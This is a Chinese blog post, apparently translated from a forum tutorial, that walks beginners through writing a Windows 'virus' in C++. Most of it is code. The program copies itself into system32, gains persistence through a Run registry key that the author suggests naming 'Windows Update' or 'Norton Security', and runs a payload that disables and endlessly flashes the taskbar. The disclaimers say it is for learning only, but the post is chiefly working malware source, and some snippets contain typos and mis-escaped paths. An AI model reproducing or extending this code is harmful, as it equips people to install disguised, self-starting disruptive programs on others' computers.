快两年没有上过我的csdn博客了,主要是由于毕业后换了校园网的速度太慢。最后有感觉了,觉得应该在我研究生毕业前做一些东西,起码减少一点遗憾吧。所以,今后的工作日记将从QQ空间搬回来。呵呵,希望各位朋友喜欢。也希望更多的朋友能一起交流学习!
好的,首先开始之前明确两件事:
1. 本向导只为那些想学习的朋友提供
2. 我并不认同任何形式的病毒释放
如果你和我一样也认同以上两点,我十分欢迎你进入病毒编程的世界。我希望通过这篇文章你也很快像我那样对病毒编写那样着迷,并通过继续学习写出自己的独特病毒。
我所看过的许多病毒编写入门向导,片幅都过长,枯燥和过时,此向导打算以简短而生动的形式向你描述如何编写一个计算机病毒。请注意以下你是开始编写时所必须准备好的:
l WIN32 API Reference ß 并不是必须但却很有用
l C++ 编译器 ----我推荐那些不想购买编译器的人使用DEV,Microsoft Visual C++ 6.0对于那些有钱的人和严谨的程序员来说是好的选择。然而对于这篇文章DEV够了
即使你在阅读此向导前并没有任何编程经验,这并不影响,但如果你了解一点C++编程知识,这将十分有帮助。
首先,我们从Win32编程入手。对于DEV用户选择建立新的Win32 GUI,对于MSVC用户选择建立一个Win32工程。如果是DEV,那么将生成一些GUI应用程序代码,那么请删除那些多余的代码使得它与下面所示代码一致:
参考:
#include <windows.h>
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE PreInstance,
LPSTR lpszArgumentm, int nFunsterstil)
{
return 0;
}
接下来编译和运行代码,你会发现并没有什么发生(如果有一个黑色的窗口弹出,很不幸你创建的工程是控制台工程,请重新创建)。并没有什么发现是因为程序并没有做任何东西。它仅是运动并退出。要让程序工作,首先在花括号{}和return 0;之前加入这些代码至工程文件。
MessageBox(NULL, “Hello”, “Messagebox Example”, MB_OK);
现在再次编译并运行程序。一个消息框架应该就会弹出,cool吧?但它并不是一个病毒程序所做的事,让我们加些更好玩的代码进去吧。加入以下代码至你的工程中:
参考:
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModeH = GetModuleHandle(NULL);
GetModuleFileName(GetModH, pathotfile, sizeof(pathtofile));
GetSystemDirectory(system, sizeof(system));
strcat(system, //virus.exe);
CopyFile(pathtofile, system, false);
MessageBox(NULL, “Hello”, “Messagbox Example”, MB_OK);
请再次确认代码是插入在return 0; 之前和花括号{}内。好的,如果一切无误,再次编译和运行代码,现在请打开你windows下的system32目录。(如果你不知道如何找到此目录,那么请在“运行”键入:%windir%system32)。好的,在system32目录下找到名为virus.exe的文件。不相信它是我们的编程的“病毒”?双击运行它就会弹出一个“Hello”的对话框。
很cool吧?好的是时候解释一下我们的代码是如何运行的了:
char system[MAX_PATH]; 此用于缓冲system32目录的路径
char pathtofile[MAX_PATH]; 此用于缓冲我们当前病毒运行的路径
HMODEULE GetModH = GetModuleHandle(NULL); 这一条语句可能比较难以理解。GetModH用于保存我们病毒的句柄,而句柄通过GetModuleHandle()返回。
GetModuleFileName(GetModH, pathtofile, sizeof(pathtofile)); 此条语句用于获取我们病毒程序的文件名,并把它保存至pathtofile中。
GetSystemDirectory(system, sizeof(system)); 此语句找到你的系统文件夹的位置。因为有些人可能并不是把系统文件夹存为默认的C:/windows/system32. 例如, 我的就是d:/winnt/system32, 出于此我们需要调用此语句以拷贝至已存在的系统文件夹。
Strcat(system, //virus.exe); 好的我们已有系统文件夹路径,此函数仅是把文件名与拷贝的文件夹路径关联,例如调用后我们的文件路径就为:C:/windows/system32/virus.exe。这里使用//是因为/在C++中需要转义
CopyFile(pathtofile, system, false); 很明显这语句是执行拷贝功能,把我们的病毒拷贝至我们想要的地方。参数false指示如果viruse.exe已经存在,那么它将会覆盖它,如果你想改变这种方式,你可以选择设为true(在本向导里,都将设为false)
好的,接下来我们继续加入代码。使得程序能够随计算机启动而启动。我们将通过调用3个API来完成此功能:
l RegOpenKeyEx(); 此函数用于打开我们想写的的注册表键
l RegSetValueEx(); 此函数用于设置键值
l RegCloseKey(); 此函数用于关闭键
是时候把代码加入到我们之前的病毒程序了:
参考:
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, “Software//Micorsoft//Windows//CurrentVersion//Run”, 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, “Writing to Registry Example”, 0, REG_SZ, (const unsigned char*)system, sizeof(system));
RegCloseKey(hKey);
好的,相对于之前这里可能需要更多的解释。HKEY hKey是用于保存注册表项的缓冲区。RegOpenKeyEx打开键Software//Micorsoft//Windows//CurrentVersion//Run, 此键是用于记录所有用户想启动的启动项。0是保留值,所以需要设置为0。我们需要设置找开键的方式,因此设置KEY_SET_VALUE。接着我们传入缓冲区作为参数。
接下来调用, hKey是之前键的缓冲变量,“Writing to the registry Example”是键的信息,你可能随意更改,例如改成“Winodws Update”或“Norton Security”。接下来0也是保留值。REG_SZ是我们想要的键值类型。还存在其它类型,例如REG_BINARY 和 REG_DWORD,但对于文本值,我们使用REG_SZ。需要(const unsigned char*)类型变换是因为调用并不接受一般的字符串。system是保存着我们病毒路径的缓冲变量,最后一个参数是字符串的大小,这可以通过sizeof来自动计算。
接下来的调用是关闭键。
好的,目前你的代码应该就如下面所示:
参考:
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”//virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
}
现在运行你的代码,并打开注册表,浏览HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run应该就可以看到我们新加入的键。
接下来就是我们写病毒最有趣的地方了,我们将写一个payload!它可以任意的代码,从Ddos到使得你的鼠标在屏幕上乱跳。注意具有破坏性的payload是病毒社区反对的,所以请你真的是喜爱并不是出于破坏计算机而编程病毒程序。写一个不具有破坏性的payload是相当有趣的。让我们一起看看如何写一个payload。我曾写过一个并命名为Flasher。
现在你可以看看附上的这段代码。
参考:
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance,
LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”//virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows//CurrentVersion//Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin;
hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1)
{
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000);
}
return 0;
}
虽然此段代码很小,但请不要小看它,它的运动的确会让你扔鼠标。:)要终止它请按ctrl+alt+delete在任务管理器中结束virus.exe进程,然后找到explorer.exe并终止它。最后打开任务管理器->运行键入“explorer.exe”(注意不要加引号)。如果病毒并不起作用,那么把EnableWindow和ShowWindow的true为false。
这是我这次想告诉你的,下次我再讨论更深入的话题。届时我将告诉你如何关闭你的任务管理器。多尝试调用已存在的成百上千种API,你也可以实现更多东西。如果你运行时发现有错误,那么95%都是因为拼写错误导致,请认真核对你的程序是否与向导的一致。
加油,不断尝试写程序。
Smith
附原文地址:http://www.rohitab.com/discuss/index.php?showtopic=11308